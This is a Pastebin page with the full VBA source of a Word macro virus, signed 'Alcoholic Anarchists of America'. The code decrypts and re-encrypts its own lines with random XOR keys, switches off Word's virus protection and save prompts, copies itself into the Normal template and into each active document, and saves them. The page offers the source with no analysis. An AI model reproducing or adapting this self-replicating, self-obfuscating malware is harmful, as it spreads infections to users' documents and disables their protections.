Advertisement
FlyFar

AAA.vbs

Mar 16th, 2023
1,873
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 1.50 KB | Cybersecurity | 0 0
  1. VERSION 1.0 CLASS
  2. BEGIN
  3.   MultiUse = -1  'True
  4. END
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Creatable = False
  7. Attribute VB_PredeclaredId = True
  8. Attribute VB_Exposed = True
  9. Private Sub Document_Close()
  10. Application.EnableCancelKey = wdCancelDisabled
  11. For V1 = 18 To 39
  12. V2 = Null
  13. V3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
  14. V4 = Asc((Mid(V3, 2, 1)))
  15. V5 = V4 Xor 39
  16. For V6 = 3 To Len(V3)
  17. V7 = Asc(Mid(V3, V6, 1)) Xor V5
  18. V2 = V2 & Chr(V7)
  19. Next V6
  20. V8 = V2
  21. ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V8
  22. Next V1
  23. 'Call VM
  24. End Sub
  25. Private Sub VM()
  26. For V1 = 18 To 39
  27. V2 = Null
  28. V3 = "'" & (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
  29. V4 = Int(Rnd() * 8) + 1
  30. For V5 = 1 To Len(V3)
  31. V6 = Asc(Mid(V3, V5, 1)) Xor V4
  32. V2 = V2 & Chr(V6)
  33. Next V5
  34. V7 = V2
  35. ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, "'" & V7
  36. Next V1
  37. Options.VirusProtection = 0
  38. Options.SaveNormalPrompt = 0
  39. Options.ConfirmConversions = 0
  40. V8 = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
  41. Set V9 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
  42. V9.DeleteLines 1, V9.CountOfLines
  43. V9.AddFromString V8
  44. Set VA = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
  45. VA.DeleteLines 1, VA.CountOfLines
  46. VA.AddFromString V8
  47. ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
  48. End Sub 'Alcoholic Anarchists of America (AAA) Lys Kovick
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement